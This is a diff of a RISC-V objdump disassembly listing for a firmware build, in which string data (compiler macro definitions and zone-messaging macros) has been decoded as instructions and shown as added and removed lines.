+    8892:	5952                	lw	s2,52(sp)
+    8894:	4f5f 4a42 4345      	0x43454a424f5f
+    889a:	5354                	lw	a3,36(a4)
+    889c:	3320                	fld	fs0,96(a4)
+    889e:	0031                	c.nop	12
+    88a0:	5f5f 4c46 3354      	0x33544c465f5f
+    88a6:	5f32                	lw	t5,44(sp)
+    88a8:	5045                	c.li	zero,-15
+    88aa:	4f4c4953          	0x4f4c4953
+    88ae:	5f4e                	lw	t5,240(sp)
+    88b0:	205f 2e31 3931      	0x39312e31205f
+    88b6:	3032                	fld	ft0,296(sp)
+    88b8:	3239                	jal	81c6 <__stack_size+0x79c6>
+    88ba:	3938                	fld	fa4,112(a0)
+    88bc:	3535                	jal	86e8 <__stack_size+0x7ee8>
+    88be:	3730                	fld	fa2,104(a4)
+    88c0:	3138                	fld	fa4,96(a0)
+    88c2:	3532                	fld	fa0,296(sp)
+    88c4:	3030                	fld	fa2,96(s0)
+    88c6:	3030                	fld	fa2,96(s0)
+    88c8:	3030                	fld	fa2,96(s0)
+    88ca:	3030                	fld	fa2,96(s0)
+    88cc:	3030                	fld	fa2,96(s0)
+    88ce:	3030                	fld	fa2,96(s0)
+    88d0:	3030                	fld	fa2,96(s0)
+    88d2:	3030                	fld	fa2,96(s0)
+    88d4:	3030                	fld	fa2,96(s0)
+    88d6:	6530                	flw	fa2,72(a0)
+    88d8:	372d                	jal	8802 <__stack_size+0x8002>
+    88da:	3346                	fld	ft6,112(sp)
+    88dc:	0032                	c.slli	zero,0xc
+    88de:	4950                	lw	a2,20(a0)
+    88e0:	4550                	lw	a2,12(a0)
+    88e2:	425f 4655 3520      	0x35204655425f
+    88e8:	3231                	jal	81f4 <__stack_size+0x79f4>
+    88ea:	5f00                	lw	s0,56(a4)
+    88ec:	415f 4f54 494d      	0x494d4f54415f
+    88f2:	4f435f43          	fmadd.q	ft10,ft6,fs4,fs1,unknown
+    88f6:	534e                	lw	t1,240(sp)
+    88f8:	4d55                	li	s10,21
+    88fa:	2045                	jal	899a <__stack_size+0x819a>
+    88fc:	0031                	c.nop	12
+    88fe:	5f5f 6e75 7375      	0x73756e755f5f
+    8904:	6465                	lui	s0,0x19
+    8906:	5f20                	lw	s0,120(a4)
+    8908:	615f 7474 6972      	0x69727474615f
+    890e:	7562                	flw	fa0,56(sp)
+    8910:	6574                	flw	fa3,76(a0)
+    8912:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    8918:	6e75                	lui	t3,0x1d
+    891a:	7375                	lui	t1,0xffffd
+    891c:	6465                	lui	s0,0x19
+    891e:	5f5f 2929 5f00      	0x5f0029295f5f
+    8924:	495f 544e 4c5f      	0x4c5f544e495f
+    892a:	4145                	li	sp,17
+    892c:	36315453          	0x36315453
+    8930:	545f 5059 5f45      	0x5f455059545f
+    8936:	205f 6873 726f      	0x726f6873205f
+    893c:	2074                	fld	fa3,192(s0)
+    893e:	6e69                	lui	t3,0x1a
+    8940:	0074                	addi	a3,sp,12
+    8942:	5f5f 4955 544e      	0x544e49555f5f
+    8948:	4c5f 4145 5453      	0x545341454c5f
+    894e:	3436                	fld	fs0,360(sp)
+    8950:	545f 5059 5f45      	0x5f455059545f
+    8956:	205f 6f6c 676e      	0x676e6f6c205f
+    895c:	6c20                	flw	fs0,88(s0)
+    895e:	20676e6f          	jal	t3,7eb64 <__stack_size+0x7e364>
+    8962:	6e75                	lui	t3,0x1d
+    8964:	6e676973          	csrrsi	s2,0x6e6,14
+    8968:	6465                	lui	s0,0x19
+    896a:	6920                	flw	fs0,80(a0)
+    896c:	746e                	flw	fs0,248(sp)
+    896e:	5f00                	lw	s0,56(a4)
+    8970:	6c5f 636f 736b      	0x736b636f6c5f
+    8976:	655f 6378 756c      	0x756c6378655f
+    897c:	65766973          	csrrsi	s2,0x657,12
+    8980:	2e28                	fld	fa0,88(a2)
+    8982:	2e2e                	fld	ft8,200(sp)
+    8984:	2029                	jal	898e <__stack_size+0x818e>
+    8986:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    898c:	615f 6e6e 746f      	0x746f6e6e615f
+    8992:	7461                	lui	s0,0xffff8
+    8994:	2865                	jal	8a4c <__stack_size+0x824c>
+    8996:	7865                	lui	a6,0xffff9
+    8998:	73756c63          	bltu	a0,s7,90d0 <__stack_size+0x88d0>
+    899c:	7669                	lui	a2,0xffffa
+    899e:	5f65                	li	t5,-7
+    89a0:	6f6c                	flw	fa1,92(a4)
+    89a2:	665f6b63          	bltu	t5,t0,9018 <__stack_size+0x8818>
+    89a6:	6e75                	lui	t3,0x1d
+    89a8:	6f697463          	bgeu	s2,s6,9090 <__stack_size+0x8890>
+    89ac:	286e                	fld	fa6,216(sp)
+    89ae:	5f5f 4156 415f      	0x415f41565f5f
+    89b4:	4752                	lw	a4,20(sp)
+    89b6:	295f5f53          	0x295f5f53
+    89ba:	0029                	c.nop	10
+    89bc:	535f 5f43 4553      	0x45535f43535f
+    89c2:	5f4d                	li	t5,-13
+    89c4:	534e                	lw	t1,240(sp)
+    89c6:	4d45                	li	s10,17
+    89c8:	414d5f53          	0x414d5f53
+    89cc:	2058                	fld	fa4,128(s0)
+    89ce:	3631                	jal	84da <__stack_size+0x7cda>
+    89d0:	4900                	lw	s0,16(a0)
+    89d2:	544e                	lw	s0,240(sp)
+    89d4:	4d5f3233          	0x4d5f3233
+    89d8:	5841                	li	a6,-16
+    89da:	5f20                	lw	s0,120(a4)
+    89dc:	495f 544e 3233      	0x3233544e495f
+    89e2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    89e8:	5f00                	lw	s0,56(a4)
+    89ea:	545f4353          	0x545f4353
+    89ee:	4152                	lw	sp,20(sp)
+    89f0:	535f4543          	fmadd.d	fa0,ft10,fs5,fa0,rmm
+    89f4:	5359                	li	t1,-10
+    89f6:	4d5f 5841 3820      	0x382058414d5f
+    89fc:	0039                	c.nop	14
+    89fe:	505f 5f43 5953      	0x59535f43505f
+    8a04:	434e                	lw	t1,208(sp)
+    8a06:	495f 204f 3131      	0x3131204f495f
+    8a0c:	5f00                	lw	s0,56(a4)
+    8a0e:	625f 7773 7061      	0x70617773625f
+    8a14:	3436                	fld	fs0,360(sp)
+    8a16:	5f28                	lw	a0,120(a4)
+    8a18:	2978                	fld	fa4,208(a0)
+    8a1a:	5f20                	lw	s0,120(a4)
+    8a1c:	625f 6975 746c      	0x746c6975625f
+    8a22:	6e69                	lui	t3,0x1a
+    8a24:	625f 7773 7061      	0x70617773625f
+    8a2a:	3436                	fld	fs0,360(sp)
+    8a2c:	5f28                	lw	a0,120(a4)
+    8a2e:	2978                	fld	fa4,208(a0)
+    8a30:	5f00                	lw	s0,56(a4)
+    8a32:	4350                	lw	a2,4(a4)
+    8a34:	525f 4345 495f      	0x495f4345525f
+    8a3a:	434e                	lw	t1,208(sp)
+    8a3c:	5f52                	lw	t5,52(sp)
+    8a3e:	4658                	lw	a4,12(a2)
+    8a40:	5245                	li	tp,-15
+    8a42:	535f 5a49 2045      	0x20455a49535f
+    8a48:	3631                	jal	8554 <__stack_size+0x7d54>
+    8a4a:	5f00                	lw	s0,56(a4)
+    8a4c:	4e46                	lw	t3,80(sp)
+    8a4e:	4544                	lw	s1,12(a0)
+    8a50:	414c                	lw	a1,4(a0)
+    8a52:	2059                	jal	8ad8 <__stack_size+0x82d8>
+    8a54:	465f 4f4e 424e      	0x424e4f4e465f
+    8a5a:	4f4c                	lw	a1,28(a4)
+    8a5c:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    8a60:	475f 4343 415f      	0x415f4343475f
+    8a66:	4f54                	lw	a3,28(a4)
+    8a68:	494d                	li	s2,19
+    8a6a:	43575f43          	fmadd.d	ft10,fa4,fs5,fs0,unknown
+    8a6e:	4148                	lw	a0,4(a0)
+    8a70:	5f52                	lw	t5,52(sp)
+    8a72:	5f54                	lw	a3,60(a4)
+    8a74:	4f4c                	lw	a1,28(a4)
+    8a76:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    8a7a:	4552                	lw	a0,20(sp)
+    8a7c:	2045                	jal	8b1c <__stack_size+0x831c>
+    8a7e:	0032                	c.slli	zero,0xc
+    8a80:	5f5f 6974 656d      	0x656d69745f5f
+    8a86:	5f72                	lw	t5,60(sp)
+    8a88:	5f74                	lw	a3,124(a4)
+    8a8a:	6564                	flw	fs1,76(a0)
+    8a8c:	6966                	flw	fs2,88(sp)
+    8a8e:	656e                	flw	fa0,216(sp)
+    8a90:	2064                	fld	fs1,192(s0)
+    8a92:	5f00                	lw	s0,56(a4)
+    8a94:	535f 5a49 4f45      	0x4f455a49535f
+    8a9a:	5f46                	lw	t5,112(sp)
+    8a9c:	5450                	lw	a2,44(s0)
+    8a9e:	4452                	lw	s0,20(sp)
+    8aa0:	4649                	li	a2,18
+    8aa2:	5f46                	lw	t5,112(sp)
+    8aa4:	5f54                	lw	a3,60(a4)
+    8aa6:	205f 0034 5750      	0x57500034205f
+    8aac:	5f4d                	li	t5,-13
+    8aae:	4552                	lw	a0,20(sp)
+    8ab0:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    8ab4:	7366                	flw	ft6,120(sp)
+    8ab6:	7465                	lui	s0,0xffff9
+    8ab8:	2029                	jal	8ac2 <__stack_size+0x82c2>
+    8aba:	525f 4745 3233      	0x32334745525f
+    8ac0:	5028                	lw	a0,96(s0)
+    8ac2:	425f4d57          	0x425f4d57
+    8ac6:	5341                	li	t1,-16
+    8ac8:	2c45                	jal	8d78 <__stack_size+0x8578>
+    8aca:	6f20                	flw	fs0,88(a4)
+    8acc:	6666                	flw	fa2,88(sp)
+    8ace:	29746573          	csrrsi	a0,0x297,8
+    8ad2:	5300                	lw	s0,32(a4)
+    8ad4:	495f 4f58 4854      	0x48544f58495f
+    8ada:	3020                	fld	fs0,96(s0)
+    8adc:	3030                	fld	fa2,96(s0)
+    8ade:	3030                	fld	fa2,96(s0)
+    8ae0:	3130                	fld	fa2,96(a0)
+    8ae2:	4400                	lw	s0,8(s0)
+    8ae4:	4645                	li	a2,17
+    8ae6:	4946                	lw	s2,80(sp)
+    8ae8:	454c                	lw	a1,12(a0)
+    8aea:	4f4d                	li	t5,19
+    8aec:	4544                	lw	s1,12(a0)
+    8aee:	2820                	fld	fs0,80(s0)
+    8af0:	52495f53          	0x52495f53
+    8af4:	5355                	li	t1,-11
+    8af6:	2052                	fld	ft0,272(sp)
+    8af8:	207c                	fld	fa5,192(s0)
+    8afa:	57495f53          	0x57495f53
+    8afe:	5355                	li	t1,-11
+    8b00:	2052                	fld	ft0,272(sp)
+    8b02:	207c                	fld	fa5,192(s0)
+    8b04:	52495f53          	0x52495f53
+    8b08:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8b0c:	207c                	fld	fa5,192(s0)
+    8b0e:	57495f53          	0x57495f53
+    8b12:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8b16:	207c                	fld	fa5,192(s0)
+    8b18:	52495f53          	0x52495f53
+    8b1c:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
+    8b20:	207c                	fld	fa5,192(s0)
+    8b22:	57495f53          	0x57495f53
+    8b26:	2948544f          	fnmadd.s	fs0,fa6,fs4,ft5,unknown
+    8b2a:	5f00                	lw	s0,56(a4)
+    8b2c:	465f 544c 3233      	0x3233544c465f
+    8b32:	5f58                	lw	a4,60(a4)
+    8b34:	494d                	li	s2,19
+    8b36:	5f4e                	lw	t5,240(sp)
+    8b38:	205f 2e32 3232      	0x32322e32205f
+    8b3e:	3035                	jal	836a <__stack_size+0x7b6a>
+    8b40:	35383337          	lui	t1,0x35383
+    8b44:	3538                	fld	fa4,104(a0)
+    8b46:	3730                	fld	fa2,104(a4)
+    8b48:	3032                	fld	ft0,296(sp)
+    8b4a:	3331                	jal	8856 <__stack_size+0x8056>
+    8b4c:	3338                	fld	fa4,96(a4)
+    8b4e:	3930                	fld	fa2,112(a0)
+    8b50:	3230                	fld	fa2,96(a2)
+    8b52:	31373233          	0x31373233
+    8b56:	32333337          	lui	t1,0x32333
+    8b5a:	3034                	fld	fa3,96(s0)
+    8b5c:	3034                	fld	fa3,96(s0)
+    8b5e:	6536                	flw	fa0,76(sp)
+    8b60:	332d                	jal	888a <__stack_size+0x808a>
+    8b62:	3830                	fld	fa2,112(s0)
+    8b64:	3346                	fld	ft6,112(sp)
+    8b66:	7832                	flw	fa6,44(sp)
+    8b68:	7300                	flw	fs0,32(a4)
+    8b6a:	6e65                	lui	t3,0x19
+    8b6c:	5a64                	lw	s1,116(a2)
+    8b6e:	4d656e6f          	jal	t3,5f044 <__stack_size+0x5e844>
+    8b72:	7365                	lui	t1,0xffff9
+    8b74:	65676173          	csrrsi	sp,0x656,14
+    8b78:	5f00                	lw	s0,56(a4)
+    8b7a:	4955                	li	s2,21
+    8b7c:	544e                	lw	s0,240(sp)
+    8b7e:	545f3233          	0x545f3233
+    8b82:	445f 4345 414c      	0x414c4345445f
+    8b88:	4552                	lw	a0,20(sp)
+    8b8a:	2044                	fld	fs1,128(s0)
+    8b8c:	5f00                	lw	s0,56(a4)
+    8b8e:	6c66                	flw	fs8,88(sp)
+    8b90:	666b636f          	jal	t1,bf1f6 <__stack_size+0xbe9f6>
+    8b94:	6c69                	lui	s8,0x1a
+    8b96:	2865                	jal	8c4e <__stack_size+0x844e>
+    8b98:	7066                	flw	ft0,120(sp)
+    8b9a:	2029                	jal	8ba4 <__stack_size+0x83a4>
+    8b9c:	2828                	fld	fa0,80(s0)
+    8b9e:	6628                	flw	fa0,72(a2)
+    8ba0:	2970                	fld	fa2,208(a0)
+    8ba2:	3e2d                	jal	86dc <__stack_size+0x7edc>
+    8ba4:	665f 616c 7367      	0x7367616c665f
+    8baa:	2620                	fld	fs0,72(a2)
+    8bac:	5f20                	lw	s0,120(a4)
+    8bae:	535f 5453 2952      	0x29525453535f
+    8bb4:	3f20                	fld	fs0,120(a4)
+    8bb6:	3020                	fld	fs0,96(s0)
+    8bb8:	3a20                	fld	fs0,112(a2)
+    8bba:	5f20                	lw	s0,120(a4)
+    8bbc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    8bc2:	6361                	lui	t1,0x18
+    8bc4:	7571                	lui	a0,0xffffc
+    8bc6:	7269                	lui	tp,0xffffa
+    8bc8:	5f65                	li	t5,-7
+    8bca:	6572                	flw	fa0,28(sp)
+    8bcc:	73727563          	bgeu	tp,s7,92f6 <__stack_size+0x8af6>
+    8bd0:	7669                	lui	a2,0xffffa
+    8bd2:	2865                	jal	8c8a <__stack_size+0x848a>
+    8bd4:	6628                	flw	fa0,72(a2)
+    8bd6:	2970                	fld	fa2,208(a0)
+    8bd8:	3e2d                	jal	8712 <__stack_size+0x7f12>
+    8bda:	6c5f 636f 296b      	0x296b636f6c5f
+    8be0:	0029                	c.nop	10
+    8be2:	53495f53          	0x53495f53
+    8be6:	4c42                	lw	s8,16(sp)
+    8be8:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
+    8bec:	2820                	fld	fs0,80(s0)
+    8bee:	2828                	fld	fa0,80(s0)
+    8bf0:	296d                	jal	90aa <__stack_size+0x88aa>
+    8bf2:	5f26                	lw	t5,104(sp)
+    8bf4:	4649                	li	a2,18
+    8bf6:	544d                	li	s0,-13
+    8bf8:	2029                	jal	8c02 <__stack_size+0x8402>
+    8bfa:	3d3d                	jal	8a38 <__stack_size+0x8238>
+    8bfc:	5f20                	lw	s0,120(a4)
+    8bfe:	4649                	li	a2,18
+    8c00:	4c42                	lw	s8,16(sp)
+    8c02:	5f00294b          	fnmsub.q	fs2,ft0,fa6,fa1,rdn
+    8c06:	465f 544c 3233      	0x3233544c465f
+    8c0c:	5f58                	lw	a4,60(a4)
+    8c0e:	4148                	lw	a0,4(a0)
+    8c10:	55515f53          	0x55515f53
+    8c14:	4549                	li	a0,18
+    8c16:	5f54                	lw	a3,60(a4)
+    8c18:	414e                	lw	sp,208(sp)
+    8c1a:	5f4e                	lw	t5,240(sp)
+    8c1c:	205f 0031 5a4d      	0x5a4d0031205f
+    8c22:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    8c26:	444e4553          	0x444e4553
+    8c2a:	7a28                	flw	fa0,112(a2)
+    8c2c:	2c656e6f          	jal	t3,5eef2 <__stack_size+0x5e6f2>
+    8c30:	736d                	lui	t1,0xffffb
+    8c32:	28202967          	0x28202967
+    8c36:	6572207b          	0x6572207b
+    8c3a:	74736967          	0x74736967
+    8c3e:	7265                	lui	tp,0xffff9
+    8c40:	7520                	flw	fs0,104(a0)
+    8c42:	6e69                	lui	t3,0x1a
+    8c44:	3374                	fld	fa3,224(a4)
+    8c46:	5f32                	lw	t5,44(sp)
+    8c48:	2074                	fld	fa3,192(s0)
+    8c4a:	3061                	jal	84d2 <__stack_size+0x7cd2>
+    8c4c:	6120                	flw	fs0,64(a0)
+    8c4e:	28206d73          	csrrsi	s10,0x282,0
+    8c52:	6122                	flw	ft2,8(sp)
+    8c54:	2230                	fld	fa2,64(a2)
+    8c56:	3b29                	jal	8970 <__stack_size+0x8170>
+    8c58:	6120                	flw	fs0,64(a0)
+    8c5a:	76206d73          	csrrsi	s10,0x762,0
+    8c5e:	74616c6f          	jal	s8,1f3a4 <__stack_size+0x1eba4>
+    8c62:	6c69                	lui	s8,0x1a
+    8c64:	2065                	jal	8d0c <__stack_size+0x850c>
+    8c66:	2028                	fld	fa0,64(s0)
+    8c68:	6d22                	flw	fs10,8(sp)
+    8c6a:	2076                	fld	ft0,344(sp)
+    8c6c:	3161                	jal	88f4 <__stack_size+0x80f4>
+    8c6e:	202c                	fld	fa1,64(s0)
+    8c70:	3225                	jal	8598 <__stack_size+0x7d98>
+    8c72:	2220223b          	0x2220223b
+    8c76:	776c                	flw	fa1,108(a4)
+    8c78:	6120                	flw	fs0,64(a0)
+    8c7a:	2c32                	fld	fs8,264(sp)
+    8c7c:	3020                	fld	fs0,96(s0)
+    8c7e:	342a                	fld	fs0,168(sp)
+    8c80:	3b31252b          	0x3b31252b
+    8c84:	2022                	fld	ft0,8(sp)
+    8c86:	6c22                	flw	fs8,8(sp)
+    8c88:	33612077          	0x33612077
+    8c8c:	202c                	fld	fa1,64(s0)
+    8c8e:	2a31                	jal	8daa <__stack_size+0x85aa>
+    8c90:	2b34                	fld	fa3,80(a4)
+    8c92:	3125                	jal	88ba <__stack_size+0x80ba>
+    8c94:	2220223b          	0x2220223b
+    8c98:	776c                	flw	fa1,108(a4)
+    8c9a:	6120                	flw	fs0,64(a0)
+    8c9c:	2c34                	fld	fa3,88(s0)
+    8c9e:	3220                	fld	fs0,96(a2)
+    8ca0:	342a                	fld	fs0,168(sp)
+    8ca2:	3b31252b          	0x3b31252b
+    8ca6:	2022                	fld	ft0,8(sp)
+    8ca8:	6c22                	flw	fs8,8(sp)
+    8caa:	35612077          	0x35612077
+    8cae:	202c                	fld	fa1,64(s0)
+    8cb0:	2b342a33          	0x2b342a33
+    8cb4:	3125                	jal	88dc <__stack_size+0x80dc>
+    8cb6:	2220223b          	0x2220223b
+    8cba:	696c                	flw	fa1,84(a0)
+    8cbc:	6120                	flw	fs0,64(a0)
+    8cbe:	2c30                	fld	fa2,88(s0)
+    8cc0:	3220                	fld	fs0,96(a2)
+    8cc2:	6d20223b          	0x6d20223b
+    8cc6:	6f7a                	flw	ft10,156(sp)
+    8cc8:	656e                	flw	fa0,216(sp)
+    8cca:	3a20                	fld	fs0,112(a2)
+    8ccc:	2220                	fld	fs0,64(a2)
+    8cce:	723d                	lui	tp,0xfffef
+    8cd0:	2822                	fld	fa6,8(sp)
+    8cd2:	3061                	jal	855a <__stack_size+0x7d5a>
+    8cd4:	2029                	jal	8cde <__stack_size+0x84de>
+    8cd6:	203a                	fld	ft0,392(sp)
+    8cd8:	6d22                	flw	fs10,8(sp)
+    8cda:	2822                	fld	fa6,8(sp)
+    8cdc:	282a                	fld	fa6,136(sp)
+    8cde:	736e6f63          	bltu	t3,s6,941c <__stack_size+0x8c1c>
+    8ce2:	2074                	fld	fa3,192(s0)
+    8ce4:	72616863          	bltu	sp,t1,9414 <__stack_size+0x8c14>
+    8ce8:	2820                	fld	fs0,80(s0)
+    8cea:	292a                	fld	fs2,136(sp)
+    8cec:	5d36315b          	0x5d36315b
+    8cf0:	2029                	jal	8cfa <__stack_size+0x84fa>
+    8cf2:	736d                	lui	t1,0xffffb
+    8cf4:	202c2967          	0x202c2967
+    8cf8:	7222                	flw	ft4,40(sp)
+    8cfa:	2822                	fld	fa6,8(sp)
+    8cfc:	6928                	flw	fa0,80(a0)
+    8cfe:	746e                	flw	fs0,248(sp)
+    8d00:	7a29                	lui	s4,0xfffea
+    8d02:	29656e6f          	jal	t3,5ef98 <__stack_size+0x5e798>
+    8d06:	3a20                	fld	fs0,112(a2)
+    8d08:	2220                	fld	fs0,64(a2)
+    8d0a:	3161                	jal	8992 <__stack_size+0x8192>
+    8d0c:	2c22                	fld	fs8,8(sp)
+    8d0e:	6122                	flw	ft2,8(sp)
+    8d10:	2232                	fld	ft4,264(sp)
+    8d12:	222c                	fld	fa1,64(a2)
+    8d14:	3361                	jal	8a9c <__stack_size+0x829c>
+    8d16:	2c22                	fld	fs8,8(sp)
+    8d18:	6122                	flw	ft2,8(sp)
+    8d1a:	2234                	fld	fa3,64(a2)
+    8d1c:	222c                	fld	fa1,64(a2)
+    8d1e:	3561                	jal	8ba6 <__stack_size+0x83a6>
+    8d20:	2922                	fld	fs2,8(sp)
+    8d22:	3061203b          	0x3061203b
+    8d26:	297d203b          	0x297d203b
+    8d2a:	5f00                	lw	s0,56(a4)
+    8d2c:	325f4353          	0x325f4353
+    8d30:	465f 524f 5f54      	0x5f54524f465f
+    8d36:	4544                	lw	s1,12(a0)
+    8d38:	2056                	fld	ft0,336(sp)
+    8d3a:	3131                	jal	8946 <__stack_size+0x8146>
+    8d3c:	0030                	addi	a2,sp,8
+    8d3e:	4d44                	lw	s1,28(a0)
+    8d40:	5f41                	li	t5,-16
+    8d42:	5254                	lw	a3,36(a2)
+    8d44:	445f 5345 5f54      	0x5f545345445f
+    8d4a:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    8d4e:	7830                	flw	fa2,112(s0)
+    8d50:	4334                	lw	a3,64(a4)
     8d52:	5f00                	lw	s0,56(a4)
-    8d54:	4350                	lw	a2,4(a4)
-    8d56:	525f 4345 585f      	0x585f4345525f
-    8d5c:	4546                	lw	a0,80(sp)
-    8d5e:	5f52                	lw	t5,52(sp)
-    8d60:	4c41                	li	s8,16
-    8d62:	4749                	li	a4,18
-    8d64:	204e                	fld	ft0,208(sp)
-    8d66:	3931                	jal	8982 <__stack_size+0x8182>
-    8d68:	4f00                	lw	s0,24(a4)
-    8d6a:	525f 5744 2052      	0x20525744525f
-    8d70:	0032                	c.slli	zero,0xc
-    8d72:	535f 5f43 5254      	0x52545f43535f
-    8d78:	4341                	li	t1,16
-    8d7a:	5f45                	li	t5,-15
-    8d7c:	4f4c                	lw	a1,28(a4)
-    8d7e:	37382047          	fmsub.q	ft0,fa6,fs3,ft6,rdn
-    8d82:	5f00                	lw	s0,56(a4)
-    8d84:	555f 4e49 5f54      	0x5f544e49555f
-    8d8a:	454c                	lw	a1,12(a0)
-    8d8c:	5341                	li	t1,-16
-    8d8e:	3854                	fld	fa3,176(s0)
-    8d90:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    8d96:	3020                	fld	fs0,96(s0)
-    8d98:	6678                	flw	fa4,76(a2)
-    8d9a:	0066                	c.slli	zero,0x19
-    8d9c:	4955                	li	s2,21
-    8d9e:	544e                	lw	s0,240(sp)
-    8da0:	3631                	jal	88ac <__stack_size+0x80ac>
-    8da2:	4d5f 5841 4900      	0x490058414d5f
-    8da8:	544e                	lw	s0,240(sp)
-    8daa:	4c5f 4145 5453      	0x545341454c5f
-    8db0:	3631                	jal	88bc <__stack_size+0x80bc>
-    8db2:	4d5f 4e49 6d00      	0x6d004e494d5f
-    8db8:	7261                	lui	tp,0xffff8
-    8dba:	64696863          	bltu	s2,t1,940a <__stack_size+0x8c0a>
-    8dbe:	735f 7274 5500      	0x55007274735f
-    8dc4:	4e49                	li	t3,18
-    8dc6:	5f54                	lw	a3,60(a4)
-    8dc8:	414d                	li	sp,19
-    8dca:	0058                	addi	a4,sp,4
-    8dcc:	53495f53          	0x53495f53
-    8dd0:	4946                	lw	s2,80(sp)
-    8dd2:	4f46                	lw	t5,80(sp)
-    8dd4:	6d28                	flw	fa0,88(a0)
-    8dd6:	2029                	jal	8de0 <__stack_size+0x85e0>
-    8dd8:	2828                	fld	fa0,80(s0)
-    8dda:	6d28                	flw	fa0,88(a0)
-    8ddc:	2629                	jal	90e6 <__stack_size+0x88e6>
-    8dde:	495f 4d46 2954      	0x29544d46495f
-    8de4:	3d20                	fld	fs0,120(a0)
-    8de6:	203d                	jal	8e14 <__stack_size+0x8614>
-    8de8:	495f 4946 4f46      	0x4f464946495f
-    8dee:	0029                	c.nop	10
-    8df0:	5a4d                	li	s4,-13
-    8df2:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    8df6:	4552                	lw	a0,20(sp)
-    8df8:	7a285643          	fmadd.d	fa2,fa6,ft2,fa5,unknown
-    8dfc:	2c656e6f          	jal	t3,5f0c2 <__stack_size+0x5e8c2>
-    8e00:	736d                	lui	t1,0xffffb
-    8e02:	28202967          	0x28202967
-    8e06:	6572207b          	0x6572207b
-    8e0a:	74736967          	0x74736967
-    8e0e:	7265                	lui	tp,0xffff9
-    8e10:	7520                	flw	fs0,104(a0)
-    8e12:	6e69                	lui	t3,0x1a
-    8e14:	3374                	fld	fa3,224(a4)
-    8e16:	5f32                	lw	t5,44(sp)
-    8e18:	2074                	fld	fa3,192(s0)
-    8e1a:	3061                	jal	86a2 <__stack_size+0x7ea2>
-    8e1c:	6120                	flw	fs0,64(a0)
-    8e1e:	28206d73          	csrrsi	s10,0x282,0
-    8e22:	6122                	flw	ft2,8(sp)
-    8e24:	2230                	fld	fa2,64(a2)
-    8e26:	3b29                	jal	8b40 <__stack_size+0x8340>
-    8e28:	7220                	flw	fs0,96(a2)
-    8e2a:	6765                	lui	a4,0x19
-    8e2c:	7369                	lui	t1,0xffffa
-    8e2e:	6574                	flw	fa3,76(a0)
-    8e30:	2072                	fld	ft0,280(sp)
-    8e32:	6975                	lui	s2,0x1d
-    8e34:	746e                	flw	fs0,248(sp)
-    8e36:	745f3233          	0x745f3233
-    8e3a:	6120                	flw	fs0,64(a0)
-    8e3c:	2032                	fld	ft0,264(sp)
-    8e3e:	7361                	lui	t1,0xffff8
-    8e40:	206d                	jal	8eea <__stack_size+0x86ea>
-    8e42:	2228                	fld	fa0,64(a2)
-    8e44:	3261                	jal	87cc <__stack_size+0x7fcc>
-    8e46:	2922                	fld	fs2,8(sp)
-    8e48:	6572203b          	0x6572203b
-    8e4c:	74736967          	0x74736967
-    8e50:	7265                	lui	tp,0xffff9
-    8e52:	7520                	flw	fs0,104(a0)
-    8e54:	6e69                	lui	t3,0x1a
-    8e56:	3374                	fld	fa3,224(a4)
-    8e58:	5f32                	lw	t5,44(sp)
-    8e5a:	2074                	fld	fa3,192(s0)
-    8e5c:	3361                	jal	8be4 <__stack_size+0x83e4>
-    8e5e:	6120                	flw	fs0,64(a0)
-    8e60:	28206d73          	csrrsi	s10,0x282,0
-    8e64:	6122                	flw	ft2,8(sp)
-    8e66:	3b292233          	0x3b292233
-    8e6a:	7220                	flw	fs0,96(a2)
-    8e6c:	6765                	lui	a4,0x19
-    8e6e:	7369                	lui	t1,0xffffa
-    8e70:	6574                	flw	fa3,76(a0)
-    8e72:	2072                	fld	ft0,280(sp)
-    8e74:	6975                	lui	s2,0x1d
-    8e76:	746e                	flw	fs0,248(sp)
-    8e78:	745f3233          	0x745f3233
-    8e7c:	6120                	flw	fs0,64(a0)
-    8e7e:	2034                	fld	fa3,64(s0)
-    8e80:	7361                	lui	t1,0xffff8
-    8e82:	206d                	jal	8f2c <__stack_size+0x872c>
-    8e84:	2228                	fld	fa0,64(a2)
-    8e86:	3461                	jal	890e <__stack_size+0x810e>
-    8e88:	2922                	fld	fs2,8(sp)
-    8e8a:	6572203b          	0x6572203b
-    8e8e:	74736967          	0x74736967
-    8e92:	7265                	lui	tp,0xffff9
-    8e94:	7520                	flw	fs0,104(a0)
-    8e96:	6e69                	lui	t3,0x1a
-    8e98:	3374                	fld	fa3,224(a4)
-    8e9a:	5f32                	lw	t5,44(sp)
-    8e9c:	2074                	fld	fa3,192(s0)
-    8e9e:	3561                	jal	8d26 <__stack_size+0x8526>
-    8ea0:	6120                	flw	fs0,64(a0)
-    8ea2:	28206d73          	csrrsi	s10,0x282,0
-    8ea6:	6122                	flw	ft2,8(sp)
-    8ea8:	2235                	jal	8fd4 <__stack_size+0x87d4>
-    8eaa:	3b29                	jal	8bc4 <__stack_size+0x83c4>
-    8eac:	6120                	flw	fs0,64(a0)
-    8eae:	76206d73          	csrrsi	s10,0x762,0
-    8eb2:	74616c6f          	jal	s8,1f5f8 <__stack_size+0x1edf8>
-    8eb6:	6c69                	lui	s8,0x1a
-    8eb8:	2065                	jal	8f60 <__stack_size+0x8760>
-    8eba:	2028                	fld	fa0,64(s0)
-    8ebc:	6d22                	flw	fs10,8(sp)
-    8ebe:	2076                	fld	ft0,344(sp)
-    8ec0:	3161                	jal	8b48 <__stack_size+0x8348>
-    8ec2:	202c                	fld	fa1,64(s0)
-    8ec4:	3525                	jal	8cec <__stack_size+0x84ec>
-    8ec6:	2022203b          	0x2022203b
-    8eca:	6c22                	flw	fs8,8(sp)
-    8ecc:	2069                	jal	8f56 <__stack_size+0x8756>
